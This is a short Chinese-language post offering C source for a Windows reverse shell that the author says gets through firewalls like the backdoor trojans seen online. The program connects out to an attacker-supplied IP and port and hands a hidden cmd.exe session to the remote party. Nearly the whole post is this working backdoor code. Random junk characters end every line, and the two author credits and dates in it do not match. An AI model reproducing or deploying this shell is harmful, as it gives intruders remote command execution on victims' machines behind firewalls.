这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .xIu
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/* ============================== FJj #
Rebound port in Windows NT |loo^!I
By wind,2006/7 x22:@Ot6
===============================*/ AT6:&5_`
#include Jfkdiyy"
#include @uaf&my,P
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#pragma comment(lib,"wsock32.lib") O{F)|<L(G
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void OutputShell(); -Ze{d$
SOCKET sClient; RaNz)]+7`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O*d4zBT
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void main(int argc,char **argv) ag
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{ Y=- ILN("
WSADATA stWsaData; rWXw/a
int nRet; >.]'N:5
SOCKADDR_IN stSaiClient,stSaiServer; QV@NA@;XZ
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if(argc != 3) |0jmOcZF
{ ,& ^vc_}
printf("Useage:\n\rRebound DestIP DestPort\n"); xO<$xx
return; |8s)kQ4$
} 4\6-sL?rW
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WSAStartup(MAKEWORD(2,2),&stWsaData); .;'3Roi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nHB=*Mj DV
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stSaiClient.sin_family = AF_INET; ~^GY(J'
stSaiClient.sin_port = htons(0); .M$}.v
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @^)aUOe
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }}VB#
{ jD
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printf("Bind Socket Failed!\n"); %%w/;o!c
return; S_B $-H|
} tKik)ei
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stSaiServer.sin_family = AF_INET; xq2
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ca!=D $
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v\UwL-4[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =c>w
{ guC7!P^
printf("Connect Error!"); 4p%=8G|
return; bBFdr
} !w[io;
OutputShell(); :Gdfpz-{?
} FrXh\4C
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void OutputShell() t`XYY
{ K^_Mt!%
char szBuff[1024]; 1YklPMx6
SECURITY_ATTRIBUTES stSecurityAttributes; H$/r{gfg^
OSVERSIONINFO stOsversionInfo; h]#wwJF
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7fOk]Yl[
STARTUPINFO stStartupInfo; [uh$\s7
char *szShell; | Ts0h?"a
PROCESS_INFORMATION stProcessInformation; ThLnp@
unsigned long lBytesRead; <Y(lRM{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z>f>B6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c
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stSecurityAttributes.lpSecurityDescriptor = 0; BK_x5mGu3
stSecurityAttributes.bInheritHandle = TRUE; +Y^_1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Uv-xP(X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); osJ;"B36
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); JERWz~n}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3']yjj(gHr
stStartupInfo.wShowWindow = SW_HIDE; ^r7-|
stStartupInfo.hStdInput = hReadPipe; `+!GoXI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U*Hw
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GetVersionEx(&stOsversionInfo); -}Jf4k#G
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switch(stOsversionInfo.dwPlatformId) 0wmz2zKV
{ COx<X\
case 1: `dYM+ jpa
szShell = "command.com"; -1Luyuy/`
break; 39W6"^q"o
default: 6E!C xXUX
szShell = "cmd.exe"; DO!?]"
break; .Jt&6N
} n%Vt r
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rf% E+bh4
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send(sClient,szMsg,77,0); '~^3 =[Z
while(1) *j,5TO-j
{ $Q[>v!!X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aqjS 5!qh
if(lBytesRead) ~$0Qvyb>
{ 0YsC@r47wL
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {-sy,EYcw
send(sClient,szBuff,lBytesRead,0); >qJRpO
} He4sP`&I
else uLw$`ihw
{ n=vW oU9
lBytesRead=recv(sClient,szBuff,1024,0); *{]9e\DF
if(lBytesRead<=0) break; p7"o:YSQ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \(lt [=
} DR`d^aBWQ
} |(e`V
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return; gJNp]I2R
}